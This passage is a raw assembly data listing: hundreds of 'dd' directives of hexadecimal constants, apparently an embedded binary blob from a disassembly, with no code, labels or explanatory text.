		dd 40CFA6FFh, 26C1F5CCh, 0A4986FC5h, 0C9E1E15h,	3B2381A8h
		dd 8452305Ah, 0E66880A8h, 0C3AA03h, 5A4FDCDDh, 0F72BC24Ch
		dd 42CA4B0h, 0E0E034DFh, 0CBA026h, 0C4AB1C51h, 0AE78038Dh
		dd 80D20900h, 0FB77DE3Fh, 0EB2A0181h, 4F305E99h, 0B5E980A6h
		dd 0AD3685DCh, 0B7F005Bh, 49C50E2h, 1CB98215h, 0CE3010A8h
		dd 940A79FEh, 99800E5h,	0B3F9F78Bh, 3548BF1Eh, 0ECA902E9h
		dd 0C05A2383h, 3F77613h, 5DB56B40h, 3876C8DFh, 0D4790500h
		dd 9AB09C37h, 0A9B150BFh, 0C7E83A2Ah, 9170380Ch, 0EA00CB60h
		dd 0FDC075B0h, 95562Bh,	0E76DD109h, 0CB99384Dh,	72139401h
		dd 5FABAE54h, 0D2E8E07Fh, 35951201h, 531A704Fh,	0C1872880h
		dd 0C42F0F3Ah, 59859A07h, 6120E38Eh, 1164D91h, 0EFCD973Fh
		dd 0EDBAA94Fh, 0E585D846h, 0BF67CF0Eh, 0D18C066Ah, 68CDF8C1h
		dd 1FC7A093h, 5AC94060h, 75C1C415h, 5C809A00h, 0FABC8BEAh
		dd 1B841FF4h, 0D0D2D8C2h, 0E3008A94h, 0E6E592B1h, 0C62729h
		dd 0D11A68FDh, 0DD2CB5D7h, 5833A38h, 2A48DEC5h,	7EB48440h
		dd 7C0146Fh, 46D597F2h,	216B200Fh, 45015206h, 0C1CFAB7Dh
		dd 69831C10h, 9593A4C5h, 14EC4001h, 8718BC68h, 6EB24CE8h
		dd 13F161C7h, 35077F14h, 41E3F23Dh, 4D19152Dh, 73B42Ch
		dd 0DE29F32Ah, 8B152105h, 0E146E200h, 524FA084h, 0AFD00073h
		dd 0ECC7E529h, 40C37D63h, 5B9FFh, 270E38F1h, 447621BAh
		dd 0AB4F0A03h, 1F5BF14h
		dd 0B454738h, 0F4E309FCh, 0DC03F22Fh, 33D7C1F8h, 0A9068152h
		dd 0F0E58886h, 0BA80D96Bh, 0FB70585Bh, 0E213C971h, 0BA34B5h
		dd 0C006CA9Eh, 0E5038E0Eh, 8584F53Dh, 6DF100D0h, 4AB9C773h
		dd 9C0002C3h, 9F34C8BFh, 0E28EA87Dh, 35D8C53Fh,	865021ACh
		dd 747C24C2h, 0CB82651Eh, 9A43FC00h, 0F2BB0BBh,	2EE40187h
		dd 0F3C6B940h, 4A2AC4B2h, 0E900C804h, 3BEDD5D6h, 0F330C7Fh
		dd 0F32E4E59h, 0DF8604A0h, 0C80740C1h, 3938870Dh, 725C23A9h
		dd 9C86E063h, 974D0E70h, 0CA60DD9Dh, 0BE996650h, 0C7B35305h
		dd 0D8439245h, 0CE8B5A5Dh, 0BAEE00A8h, 2B0280DBh, 0EDF069A6h
		dd 2D006679h, 53327937h, 0F2B283h, 0A7AA4DA0h, 3929B0DAh
		dd 7484F3Fh, 0A3804BC8h, 1DC0EF70h, 1C4D49D8h, 85BD2501h
		dd 0E4CE5A8Fh, 7C0252AAh, 700575A6h, 4274208Eh,	0D104F5B6h
		dd 0E7C39288h, 9112888Ch, 300180F0h, 764DEFA4h,	0E0B1A707h
		dd 94872E1Eh, 60189962h, 0B66630Dh, 0E76E6B16h,	0B24F9800h
		dd 0AD13DBE4h, 3428297Ah, 16B63C92h, 1313B71Dh,	0C2040E90h
		dd 52665C4Fh, 0B56E7995h, 0AA908B8h, 5850E89Ch,	0FF3C0352h
		dd 0ECA10181h, 26AEB302h, 0F312AFF4h, 62DEC40h,	5E3F3CEFh
		dd 31199B09h, 64049822h, 0C698C4A3h, 0F091BEC2h, 4B85834h
		dd 99C04B7Fh, 26F2B4EBh, 0EFEC0F14h, 87C90297h,	0C0052027h
		dd 0ACFB7A95h, 9CAA1906h, 1140777Bh, 93CD2Eh, 0BFEB8B6h
		dd 59BD16h, 50C45D71h, 62419A2h, 86352B18h, 777F51h, 0CE673FE7h
		dd 1BED50E1h, 9200BA7Ah, 0C3463A03h, 93D527Fh, 0CB885967h
		dd 39B53CB8h, 4900B248h, 26F8440h, 44AF5C90h, 688ABFEDh
		dd 5E0600E7h, 34DF2123h, 3A181615h, 0C43D28B0h,	0A6B020h
		dd 0F294AB51h, 0B4ED35DBh, 0CB00FB72h, 86416BA8h, 0C09E5E63h
		dd 98965F19h, 0D000D51Eh, 0E8E6EBDh, 38E4DAAEh,	0F5805B7Ch
		dd 37F61A91h, 0C000A7EDh, 30583F33h, 9F6967h, 61C45481h
		dd 0B03298B5h, 9A00CAEEh, 0C23AD77Dh, 7BBCF65Ch, 0A165308Bh
		dd 88920C71h, 0ECA23407h, 0A840B635h, 63E3B7Bh,	0BDEDE71Dh
		dd 377E288Ah, 387AF87Ah, 76938300h, 0FC1E0267h,	8263073Eh
		dd 80F6AB20h, 88F2CDA3h, 387FC837h, 39415436h, 591EE670h
		dd 1AAF4034h, 3AD6DCD8h, 0BB5D48h, 27907420h, 0C3F2B6A3h
		dd 0BEBCC2E1h, 0F05EF3F0h, 0DE89381Dh, 0C3C5FF40h, 0B8D0B7E2h
		dd 2E8C06BCh, 69851CECh, 3A7780C6h, 591400E1h, 0E67E621Ah
		dd 0C4615ED5h, 3D4CB799h, 8815F8h, 0C97A3B4Dh, 3AE576EFh
		dd 0ED93EC0Ah, 864998C1h, 351348Dh, 716F0A8Fh, 0EEC8D74Fh
		dd 80FBB614h, 602543B1h, 0F5CFE8h, 0ACB51E04h, 266ED691h
		dd 1B9D2403h, 0E527BDECh, 0F7A7A846h, 0A2EB0038h, 32AB4655h
		dd 8600FF77h, 0F3A86AC3h, 7F7971h, 0EDA31FECh, 8D1DDBE5h
		dd 6DCA88CEh, 0BFF048C0h, 0C3B6141Ah, 7000C00Bh, 0B001DC62h
		dd 1300FFD8h, 97D31B55h, 907DB173h, 4A40008h, 1C6288D2h
		dd 0C328E7E6h, 7C76DC24h, 63ED1700h, 62901EBBh,	0B2480AD6h
		dd 0B469FBh, 1DACDC54h,	141DCD2Ah, 81CCB455h, 3CD121h
		dd 78BAC55Dh, 3A0EE07Eh, 0F7004090h, 99951BC0h,	56DEBFFh
		dd 426F0BDDh, 5E880529h, 0A6AC40A2h, 738298D4h,	80780A49h
		dd 20352862h, 0F028C038h, 2655D3FCh, 1809E03Eh,	21836FFh
		dd 0BC372422h, 6C609400h, 0D1256682h, 5B5C8380h, 0F949FFCAh
		dd 519B1464h, 91B401A0h, 900728A5h, 302B5CECh, 0CA999F83h
		dd 0B4A8C20Ch, 1C05D654h, 0EA8A36B2h, 0B4BB8800h, 0EFDD5Ch
		dd 0CBA5BDB9h, 80642825h, 10DC7857h, 17008EB8h,	1931BE0Dh
		dd 0C016CCBh, 441B2CB3h, 0A4501D97h, 91ED16h, 2879AD7Eh
		dd 226878B0h, 6F5C0A00h, 0EFE503FAh, 0EB15266Ch, 7F3D081Ch
		dd 0D3E12800h, 72110A60h, 0F7CB0408h, 0C0B7BDA4h, 1AD207EDh
		dd 4D6F926h, 307949CEh,	9B23BDCh, 8F9C2E19h, 0D3A9A020h
		dd 0F7033FEBh, 0B36A3225h, 0AAF2D07Dh, 4DD40489h, 807CBCEFh
		dd 41CD0524h, 6BC2C700h, 0DF507E69h, 8AD1029Bh,	9054D40Dh
		dd 1A407890h, 630FBE07h, 0C08FE59Dh, 0BF01E39h,	6EDF0AA1h
		dd 80C03B64h, 9993EC6h,	9E0065D0h, 50146772h, 90BC19h
		dd 83FF2087h, 8B0A12B1h, 8AF1BD00h, 6DE33AD1h, 544526F5h
		dd 6C1A0EDCh, 7989A220h, 0D0008019h, 0EB25AADDh, 2CE251h
		dd 0FE849DA8h, 305D18E5h, 50099130h, 50C8Ah, 0CEF0A259h
		dd 2F755BDh, 0CA2F4907h, 0D6184E9h, 0C2708086h,	0E02501B6h
		dd 0A06C8C2Eh, 8F33201Ah, 0D0FCE1E7h, 170E0A0Fh, 3E1CB9B1h
		dd 70000C9Eh, 24A512E3h, 91E100DFh, 3F0F8B38h, 9E3E7199h
		dd 133D813Ch, 1A6A9746h, 17B87C4h, 6DF57CD5h, 417F9EADh
		dd 0BAF63064h, 365180B1h, 4A604BBEh, 319E03ECh,	243909F8h
		dd 0E0488BA8h, 908ADA30h, 0F3659CF4h, 796D3BCCh, 9AB3D1Eh
		dd 9AA5C600h, 51B98B80h, 54055600h, 34A46843h, 5B7B0666h
		dd 7003DAB0h, 470F38h, 0F4BF065Eh, 0E03AE1C1h, 74483807h
		dd 0AEFF100h, 0B2BE33A6h, 0D72DDA07h, 840E95Dh,	0EE23FFh
		dd 381078FDh, 0DFC437A4h, 8B63211Eh, 0D10070B9h, 0F5EA97E4h
		dd 6BD70F72h, 875538F6h, 0DA401D04h, 66FB62h, 6A698AE2h
		dd 0CD203230h, 6547100h, 7EFA1F1Eh, 0F747172Dh,	0B250F58h
		dd 32695703h, 0EADA4803h, 3D8AA027h, 980FA59h, 0AD7A4B77h
		dd 500F543Fh, 0A01D807Fh, 402BD853h, 846C006Ah,	482AE84Ch
		dd 91039BA6h, 0A57BA4CAh, 0E3493FF7h, 7414C800h, 0F6F0A31Bh
		dd 6D0057E6h, 5A4F2E95h, 0C01E6FD2h, 10674D80h,	1C60B277h
		dd 457F2D10h, 8B4E00D1h, 0D54DF5F6h, 58C0E864h,	0D0ABC458h
		dd 44B00DAh, 0EE708396h, 730A300Eh, 980C7E7Ch, 412506C0h
		dd 0A1630176h, 0F95F5446h, 2C7FDC09h, 7DC37300h, 1D589FC7h
		dd 0FEF43EE5h, 880C130h, 541DBC2Ah, 19002805h, 68D6FF25h
		dd 21C260D5h, 0E1958335h, 0CBC98B00h, 6BCFD97Dh, 0B1EA65D2h
		dd 8AF04E58h, 0A5D46200h, 633C95EDh, 0CD4880E7h, 37598636h
		dd 512E0050h, 5F7E5243h, 4F44AABAh, 36EA01B2h, 1F54E6D5h
		dd 7998FB9Dh, 0A2050F74h, 3475577Ch, 0F05CE04Ah, 7D87023Ch
		dd 410BAC3Bh, 498A8CA0h, 80B469D3h, 3176FAAh, 0A20EC173h
		dd 800139C3h, 0CDFCB1BAh, 0E6190054h, 69CB2CF5h, 0F0A0E5FDh
		dd 349AF8Bh, 80E13F34h,	4E748183h, 11C0104h, 0CBE71AA1h
		dd 30AD2522h, 0D32AA34Ah, 4401E4C0h, 0F4B70E38h, 52E9AEBCh
		dd 2EF461D1h, 0C24DEE3Ah, 8C75760h, 2247202Fh, 8153E1h
		dd 15701641h, 9D51BABFh, 7EE2A00Ah, 0D60EDC3Ah,	640A807Dh
		dd 7D47280Bh, 75B10FC4h, 84143FEEh, 1AF85522h, 4CE95605h
		dd 6C302D2Ah, 83F48781h, 224D01E9h, 0AD751BACh,	6F60E0C1h
		dd 7B24000Bh, 46FEBAB5h, 0C5125AC7h, 0A8711293h, 418019A5h
		dd 3AFFC201h, 0B80A9EE8h, 0F6E96430h, 9F75100h,	0FE991B28h
		dd 8CA493BCh, 57C845B1h, 8809032Ah, 176FB1Ch, 847F31CFh
		dd 98880ED1h, 305B49D6h, 0C87DF200h, 81BB7432h,	229C0400h
		dd 38694AF0h, 2D1700E1h, 4D47F967h, 0C52833AFh,	61449012h
		dd 4BD9310Fh, 4CC646B9h, 0D54C1790h, 8DD08030h,	1F35BE55h
		dd 41C44BFCh, 2B69758Eh, 809454F7h, 7F583034h, 28811900h
		dd 34C0FC08h, 75BF1417h, 6800148Bh, 51AB2E0Fh, 5456DE61h
		dd 0C26848F4h, 40F0026Eh, 1402A25h, 0BC4F2DF4h,	8A6D8773h
		dd 8051D5B9h
		dd 432085BAh, 91C017D8h, 0F887BBh, 0BA3EDA50h, 12440C68h
		dd 0C66C826h, 2C7EC0CFh, 48CCCDh, 0EC0EB42Dh, 0F5421A0h
		dd 88A8EBF2h, 7E0059BAh, 5EBF5222h, 314075B5h, 0A5C9C79Ah
		dd 0D72980F1h, 96FF5501h, 1AAE843h, 1F302081h, 377E2E73h
		dd 59680830h, 0B47789E9h, 4D4A3410h, 1500EC78h,	8A877928h
		dd 3F067072h, 2B0CCA11h, 9528CB02h, 25FC8D00h, 0F0329E5Bh
		dd 2EDE0E1Ah, 0D12F4098h, 0F5F77A40h, 549980FEh, 38742828h
		dd 0AC7D4D80h, 0A0D4E084h, 39AD14h, 712ED709h, 5F8555F1h
		dd 0B5367509h, 46741A45h, 5F11016Ch, 0B235FC65h, 750CDCC2h
		dd 0D8B3022Dh, 0AEB078E1h, 9CBD1964h, 41B571B2h, 3791E8h
		dd 0A8D0FF06h, 437D4Ch,	4556534Ah, 2DE33639h, 8064D54Ch
		dd 0CEA6AC67h, 26C8001Fh, 5CB9D115h, 7D58709Dh,	0BC3B2948h
		dd 90C58A42h, 0DF0BD188h, 0C68E0A49h, 33780E0Ch, 82381290h
		dd 43464C32h, 0AD779040h, 81899E6h, 0BA80DC43h,	0AE4D7F41h
		dd 0D1AA1D54h, 57D16E2h, 0E79A260h, 39588CC8h, 0BC010527h
		dd 0EAC63E84h, 0B5CCEE32h, 4F2F0188h, 57590B96h, 7044577Bh
		dd 30B9146Fh, 0BE315A70h, 0C19CB91Ch, 3144D208h, 690F608Ch
		dd 5EE0297Ah, 7D001090h, 0DD01DC9h, 12CAD2EDh, 301F0B9Ch
		dd 1DFED3D0h, 0FF47E80h, 19639D9Fh, 7BBE6AE0h, 3163B27h
		dd 7031DEBFh, 8424A48Ch, 9C4E0020h, 0DF777A5Ch,	41046762h
		dd 9645E1A2h, 8A32AC80h, 0EA2C3110h, 0D8485299h, 94247A6Eh
		dd 4310B84Ah, 12E9C59Dh, 768088A0h, 70B7E47Eh, 417500CBh
		dd 0BF2CA2C3h, 7E2CBD43h, 6CCAD4CEh, 251272E0h,	0DA24001Ah
		dd 0C3E2BA9Bh, 0E8907321h, 0DC7CA529h, 0AA0CD900h, 9012012h
		dd 49546699h, 906208DFh, 663F46C2h, 70B558D4h, 0D53BC9C0h
		dd 7B01601Bh, 5F620CC8h, 7074AE2Ch, 0D8BA5203h,	4B9C8124h
		dd 0A0529018h, 1C98E101h, 0B41FE69Eh, 6AFC0C4h,	4176387Ch
		dd 0F24DF1C7h, 0BC1884CCh, 0A0CD24C2h, 0E975B280h, 0D7C8A8A5h
		dd 7094BA5Eh, 543A0029h, 793EDDAEh, 8200958Bh, 0D9DB8E9Ch
		dd 6D1D8B4h, 0CE577D65h, 0EC86A9B9h, 0C0032E8h,	0F267BCB7h
		dd 7577745h, 78E5C83Ah,	0CDF422C3h, 0F1D4AA60h,	0D6309117h
		dd 45E9D020h, 3F973A7Eh, 6CC35200h, 1A492BAh, 2C8098B3h
		dd 327A2B07h, 194C01AEh, 125425F0h, 0C1A473E4h,	0C39173DEh
		dd 763BCF8h, 0C1AD7BBAh, 0A2324052h, 2E545911h,	24B178BCh
		dd 0C9464D00h, 0B29EE6F7h, 61C3137Ch, 46382895h, 8004D54Ch
		dd 0B4763F13h, 4E1D00B3h, 0C0816CFFh, 230BD554h, 10A0FD39h
		dd 7A78EF4h, 202B165Ah,	0C0094458h, 0E9311434h,	500F2804h
		dd 1CC00A72h, 7D4806EEh, 0DDA6099Ch, 3031548Bh,	0B82A1843h
		dd 38356258h, 10C6207Eh, 2098BA2Eh, 6CE9E13Eh, 8C011E1Bh
		dd 0E2DC50ABh, 70014B86h, 340E67A2h, 54CCCDDCh,	0A1BC0131h
		dd 0AC6BC2A0h, 0D7A821CBh, 7D305CCh, 1E7D9840h,	9EB6258h
		dd 1B9D4C27h, 982D8084h, 18A8B538h, 1EF0A3FBh, 8256D13Eh
		dd 5A2E30BCh, 0BF4CB875h, 6D1D00B8h, 0CFB93626h, 39001450h
		dd 0BAC9A69Ah, 13E651F6h, 621DAA0Fh, 0D221054Ch, 0DFE8618Ah
		dd 77A22C83h, 0CC7D652Ch, 990085BCh, 0C1A2FC90h
		db 0DFh, 0D6h
		dd 0D2C93FD5h
		dw 8980h
		dd 0F8275126h, 0AA30A9B1h, 2502317Bh, 0C300070h, 8162FE68h
		dd 7501E096h, 0D4DB64C0h, 0BC285506h, 23A6F300h, 906D9AE2h
		dd 0D3D6781Dh, 8A2413C3h, 7CECC060h, 2D2B86Bh, 376A9CD5h
		dd 84E05BE8h, 59004C72h, 3AF08D0Bh, 3506158Eh, 8331ED10h
		dd 0B0A06C37h, 7A003B8Bh, 24C36D90h, 184B67B2h,	2878301Ah
		dd 63A35B0h, 0BF66008Dh, 0E6992716h, 0A11F3D51h, 4CEE1A80h
		dd 0B679EA3Fh, 8E386E06h, 7E31FB33h, 1E781ED2h,	0C46940E5h
		dd 16B111C5h, 0D698C900h, 0F2BAE2DFh, 1A600C73h, 65717D0Bh
		dd 0B90CEFE8h, 0E917E2D4h, 0F7C3191Ah, 10FA9168h, 7F2CB3Dh
		dd 5EFB3EEFh, 8207D06Eh, 0B70AB903h, 8051506Bh,	9646DDC1h
		dd 180038BFh, 0FE70652h, 1500C40Dh, 0C6899AD0h,	0C2DAA68h
		dd 7B88798Bh, 22797C90h, 9A951E05h, 7445EBE8h, 28067A6Dh
		dd 0F2318978h, 1D80050h, 748593B9h, 8C0130EEh, 0F68AD09Ah
		dd 29818155h, 0B32FA8C4h, 0CB033043h, 99FE1501h, 75A9C314h
		dd 0D5EC4Ch, 912E9D92h,	689BA5Ch, 0F87CF57Eh, 5F3E7D1Fh
		dd 0FFEBB47h, 2346DCE1h, 61B9180h, 898E5518h, 14C2DE00h
		dd 6CD32281h, 0DAAF3D04h, 2581313Dh, 0D9D70A19h, 0F3DC4250h
		dd 0C55A4220h, 7DCF00B1h, 0D00B91FEh, 0F50023C7h, 25C0C25Fh
		dd 1E5D8B17h, 0FB6775AEh, 0DCC19A00h, 9CB40EEh,	9B00CDF6h
		dd 0D8BB86F9h, 22BC3DBh, 1BA36E5Dh, 2C446D01h, 0C3FB44h
		dd 5745887h, 0E121D294h, 8A505705h, 842075FBh, 0C369C781h
		dd 0D1CB6638h, 0F1BD98A0h, 0F946CE03h, 117A4310h, 0A62FB29h
		dd 88B719F8h, 0C8C3033Eh, 42CF290Dh, 5864F031h,	5F53406Eh
		dd 12CEDCD9h, 40510EC9h, 0E1386A90h, 0A000351Eh, 63DC2954h
		dd 0CDA6624h, 6CADEF68h, 2A009DD1h, 0E73F3E91h,	312107h
		dd 0A4D4487Dh, 0ED590847h, 9D75EA00h, 0BB9A97E9h, 4841F287h
		dd 0D200809Eh, 1ECBDDDBh, 0E42CA7BEh, 0C9006B86h, 0B4BD8068h
		dd 0EB3F1BEEh, 98A4A952h, 78206DB8h, 44A29Bh, 898B676Ch
		dd 242E06C8h, 19845417h, 94770E00h, 0B9D84F20h,	81020014h
		dd 3D0F1D9Eh, 0C253C3AFh, 0EA581C94h, 1A52DCC0h, 90C9B979h
		dd 0DFA72218h, 15E4FC45h, 16FE59h, 6E81D54h, 9482FB99h
		dd 8696CC14h, 550E8574h, 1ECEAC40h, 0CC203Dh, 0B382D4A4h
		dd 0A889933Ah, 646BFB28h, 0D1C8D050h, 0FC33D324h, 0E2AE6340h
		dd 7DFD00DFh, 3855800Fh, 1CE04A46h, 8390AC01h, 0C9AB6BF9h
		dd 0EC11D827h, 0A01A3B93h, 4CFEF17Ah, 0D48119D4h, 484669FEh
		dd 0F0078EACh, 74AB205h, 972CB9B0h, 0EBD73B2Ah,	21E7558Ah
		dd 6AC2082Ch, 0D861358Ah, 53E8BD80h, 3AB9AC72h,	1F04C80Dh
		dd 0DC584567h, 600DCB50h, 0C051DF2Eh, 71CAFCh, 0B57554ACh
		dd 5CC3D926h, 32A1D404h, 50886F1Ah, 1C9E4C6h, 0F489136h
		dd 4CB42EB8h, 8245787Ch, 0AC5085D5h, 0F075E5Fh,	0F91E9427h
		dd 36017600h, 600240ADh, 10A76181h, 0F8C9980h, 0AF007422h
		dd 0F571A2D2h, 0D81259BDh, 0FF00C9EFh, 0A344D3E3h, 40E0988Bh
		dd 25443FB2h, 0F6426Dh,	16BD10FFh, 9592AEh, 94AEF4Bh, 0ABB4231Bh
		dd 4F385DFEh, 0E8017FE6h, 0FA7D4570h, 75C4ACE1h, 5CCA004Dh
		dd 180E3E1Ch, 9700491Ah, 63C0B91Bh, 18F93C3h, 0CFF5BF71h
		dd 0F4823788h, 1C075D1Ah, 9330C0BDh, 0C2954B20h, 9CCC1D4Fh
		dd 0E852B1h, 0BCF6D9E2h, 0C963473Ah, 0D015BD60h, 0AFE2FCh
		dd 0C3FD9BD3h, 89467C51h, 88DB951Fh, 674CC58Fh,	0C193ECDDh
		dd 0E8680016h, 3792D3A4h, 634851BAh, 2A506082h,	4029114h
		dd 0DCDEB43Ch, 50490AA7h, 63D81E80h, 1D9D1BD1h,	9D877E62h
		dd 0F16480DFh, 0D62551A5h, 68C23831h, 59809163h, 394C8DDCh
		dd 0A40077F5h, 5B29BAC6h, 29DAC2A2h, 1470ADCFh,	0D8002037h
		dd 0EFD6027h, 500009B2h, 2A52E2A7h, 0FCC940h, 0EF824641h
		dd 971580C3h, 98880505h, 0DC40EB03h, 31CB3CD0h,	0CA8100BEh
		dd 0EEED57F9h, 8C00E7E9h, 69F5BD4Ah, 0EC48AC51h, 8B2035Eh
		dd 0D3A3E19Eh, 398C43A5h, 0F9002618h, 0F1705605h, 24E010h
		dd 81DE5C3Fh, 93D0476Eh, 0B030F2E4h, 0ACD6204Eh, 3D203F5h
		dd 0D57C763Ah, 0B1E1F683h, 82CE1055h, 5C3900D1h, 7130FAC0h
		dd 0D55EC481h, 0A07DFA8h, 81C6CAB8h, 0EC2AE470h, 0CD003467h
		dd 59A4DD83h, 45B16BEh,	9CF62973h, 0D0F9C23Bh, 3000B042h
		dd 0DD0ED82Bh, 0AAC06B01h, 160D0BD2h, 30C64EF8h, 63C9CA97h
		dd 30DEF8DBh, 50A61100h, 6262E13Ch, 0D89C28F5h,	49D3BE20h
		dd 213303C0h, 565117CCh, 0BCEA6941h, 0C7C400A9h, 37A685BDh
		dd 0AED8018Bh, 0DCE3B33h, 0A705031h, 16031318h,	3C62A614h
		dd 1C8106F5h, 1090D580h, 52D0C20Ch, 0FAF1181Fh,	5F2C03A0h
		dd 3D9A6B8Ah, 0BD646581h, 0ACDF0080h, 20D854A4h, 43950E47h
		dd 97004029h, 3B340BB3h, 0B070FA0Ah, 0D600C08Fh, 0F2B81F14h
		dd 1777007Ah, 502A479Ch, 36005660h, 15D5E388h, 197E7C8h
		dd 8DCABDC5h, 86D3424Eh, 8E512988h, 33B71B49h, 59D8F8C7h
		dd 1303D891h, 0E45C357Bh, 0CF3ED92Bh, 0CE118C50h, 0B3410057h
		dd 49D838C4h, 7750D166h, 7514FA4h, 3100E328h, 882711F9h
		dd 0C34A48Bh, 68FF1C71h, 2E05C2F1h, 202BE80Fh, 0E0AB87BAh
		dd 8C451BC9h, 4ADF4900h, 0F62C213Ch, 0F14C2A4Eh, 5DEA00CCh
		dd 317A7F0Ah, 615D3C5h,	0E054B6h, 4FEC39CDh, 0B821DCh
		dd 19BC412Fh, 20FA495Ah, 0FEF9C0A0h, 0DD815C60h, 7CD48AF0h
		dd 17A60033h, 18B07C93h, 3E0FD5FBh, 96DC9488h, 0F1713905h
		dd 0B7D09000h, 991745Bh, 9FA2AABDh, 40575424h, 0DF322A85h
		dd 0BAF180Eh, 3B26B466h, 4C355600h, 4E2AFC01h, 7A2200AEh
		dd 0E36BB157h, 6879CF04h, 0E8C48700h, 0C2BD0B76h, 0FA34F463h
		dd 98B4006Eh, 0FEF8DD61h, 38C1F67Eh, 0B850C282h, 0C6E7D8h
		dd 0D892B3E5h, 6CE222F0h, 860918C0h, 411DA9h, 897721C3h
		dd 10E6887Ch, 0CF37E706h, 3058D5A2h, 903184E2h,	25158629h
		dd 3C3518h, 5803A036h, 0AB86709h, 50A538Ah, 0E2A48208h
		dd 7DE018B1h, 6CFE733Ch, 9F60F0E8h, 2578F7A0h, 872A58FBh
		dd 94F1200h, 363BBF6h, 567982F3h, 638E2FFCh, 1F1889ADh
		dd 0FAC2F5D8h, 0D7A930D0h, 0E3B9E248h, 795E5730h, 0E1AE5AFh
		dd 17485FE4h, 0EE05DA40h, 1F0501D7h, 14B12463h,	28FEE01h
		dd 6880B9CBh, 0C5AA373Bh, 3198BF32h, 5D206800h,	5B9EFAECh
		dd 3181466h, 0B301C883h, 5386433Eh, 0AD718169h,	5826C265h
		dd 1DEC9FD4h, 3E728AFCh, 0C4C9AAh, 4C347E42h, 83FDD015h
		dd 255F39C0h, 504B2Ah, 0A9C0C24Ah, 644C717Ch, 0C7CF6A00h
		dd 8D0FCDE7h, 4E801473h, 0D4007052h, 0AF4D4281h, 39035336h
		dd 345DC441h, 0FE21755Ch, 6CA0A886h, 0F4C8A432h, 20FF0315h
		dd 0EA3A9E44h, 7C717B88h, 836A3007h, 6BA3FAF2h,	0C6289087h
		dd 2A570326h, 0E22D5ED1h, 347640E4h, 2CEEEF89h,	6F9D4Eh
		dd 4298A05Fh, 27192AD4h, 0BB71432Bh, 29C2C560h,	8A7C3432h
		dd 808C7A82h, 8F6EFB5h,	7B0B062Bh, 9F9D9Ch, 3C49CC77h
		dd 8D8A0047h, 0B29563E3h, 0C107D3BAh, 11C4EEB0h, 8A1FF900h
		dd 0DA163A80h, 54FB6E00h, 56CECFC2h, 7C2A781Dh,	0EB263084h
		dd 0B6C7A587h, 7B049DC0h, 70F004Fh, 6A4834D8h, 0B00084DAh
		dd 0C11440C7h, 5E25F2h,	3083FA26h, 0AAF43B5h, 19DFF0EAh
		dd 0C4B43594h, 3E2283E0h, 244EE210h, 0D420ABh, 4AE8DDF0h
		dd 7400621Eh
		dd 6DB0E71h, 312F7708h,	3E4935F6h, 62DD097Ah, 4DE7C317h
		dd 0B18F1938h, 5D533025h, 7F232180h, 273D6B49h,	60BCE84Ch
		dd 0F289CE19h, 0AE9D00C4h, 33AC21F8h, 0FD00AD0Eh, 0BAA25954h
		dd 2858A312h, 0CC466C5h, 0B4EBB972h, 0D8076768h, 28464C01h
		dd 440A1BDh, 18823317h,	29AF458Bh, 663D5A3Dh, 2E6B00F5h
		dd 0D263B3F8h, 733800A0h, 0E368F7D1h, 34E606DFh, 70788A28h
		dd 98B3D22h, 0AF226D72h, 22755804h, 0E310A03Eh,	98362254h
		dd 0FDC30280h, 37355D61h, 0DE002445h, 0B63095E3h, 81D60051h
		dd 0C32BF9C1h, 0D9048BDDh, 28506DABh, 2A9630C1h, 0E4670880h
		dd 0A98527E0h, 80663A3Eh, 60062054h, 498BD76h, 40EFE394h
		dd 110C5A7h, 16821D6Fh,	92708151h, 294B5C93h, 0D3FF8h
		dd 5F8F46E0h, 549503F0h, 2AB5DD09h, 35F083F6h, 7570B768h
		dd 6EAC96Eh, 6B9A8801h,	1B4C161Dh, 1F8A0084h, 0C7E40855h
		dd 1F49158h, 88659566h,	41EB70B7h, 0EF7CB998h, 6022B60Eh
		dd 2829E093h, 76EB4EB1h, 0FCAC0171h, 0E20732F0h, 152EBDD7h
		dd 0D8B399h, 0F32A3165h, 1486AA23h, 0F006280Fh,	0D7EFD380h
		dd 3BFEA3DDh, 7A43A500h, 71D9D0DBh, 15840233h, 0CD07290Bh
		dd 74C0B8AEh, 0F9BADD05h, 782B4A1Dh, 18AC1515h,	0A9C16353h
		dd 32D4004Dh, 0B77136D1h, 0A2090813h, 0AB4121Dh, 5D11A0ACh
		dd 0A960963Dh, 0CE5CA068h, 80BE553Dh, 0CD5EC90Ch, 0D42A0F98h
		dd 480750B0h, 0A00B6C29h, 3AEEBAFCh, 0E2EAF007h, 8406D0AAh
		dd 202EC81h, 155C3172h,	0F04032FDh, 0A9C32B97h,	0D8B263E8h
		dd 0ED2189Bh, 0FC74C33Ah, 3C13AC82h, 1048A841h,	0F2BBFFF7h
		dd 895D00FDh, 5C2725B1h, 10781A9h, 0D5BF4191h, 7B8731D3h
		dd 708A0031h, 62AB745h,	0F63F1CF9h, 0D278FEDCh,	0C143BD05h
		dd 0C05B3E4h, 0C6093A5Bh, 2494B884h, 345C00D5h,	0EEA32ACBh
		dd 0E438610Ah, 0ADD68FEBh, 0ACEF02E3h, 90B64345h, 1F360E6Ch
		dd 406ABE16h, 0C12C3367h, 793A34F0h, 8F8716D2h,	8080EB14h
		dd 0B1D71A11h, 0DD1D00D3h, 8193BF19h, 0BB7C8863h, 0A8067875h
		dd 3A4FF332h, 0E17D0091h, 0DAE0AFE5h, 813A3576h, 0ECA500A7h
		dd 99DB0A42h, 525E26B6h, 10AF4050h, 0C7161662h,	98308491h
		dd 0BC279E0h, 8C4C249Ah, 0DB9305FCh, 283A3C00h,	52F0BBC4h
		dd 8800C052h, 968F27A4h, 0AA000731h, 98C14944h,	0B7EEF3h
		dd 0E4F68470h, 71A10AD6h, 7132892h, 705E0629h, 9A4B1201h
		dd 9460F6B9h, 2B56888Bh, 553A6801h, 5EF5CD66h, 79B2860h
		dd 131602FCh, 33885A4h,	619D3B08h, 0D0782909h, 81582EC0h
		dd 0B9C7F834h, 3553798Ch, 0FA00A261h, 56E5BC98h, 99887Bh
		dd 9BFBAD79h, 0C9D10D4Eh, 0E0BB7301h, 0B8E3E7EFh, 56033432h
		dd 6F33143Bh, 0A16098DAh, 0D84C090Fh, 847DC040h, 3E52F5Bh
		dd 392410F7h, 69D09FC9h, 64003A59h, 96AEB1AFh, 0EE980A3Fh
		dd 9102055Ah, 0C056074Fh, 0C0B778C2h, 38888B00h, 12FD8509h
		dd 28B0600Fh, 0EB672798h, 10B78930h, 1CA02351h,	40C880ACh
		dd 0BA9EFFCBh, 0F500C097h, 4142D28Dh, 65FB79Bh,	1C09BC6Ah
		dd 0C71D49A3h, 9C1EB98Ch, 2A3AFD00h, 11AF299h, 6B9397C0h
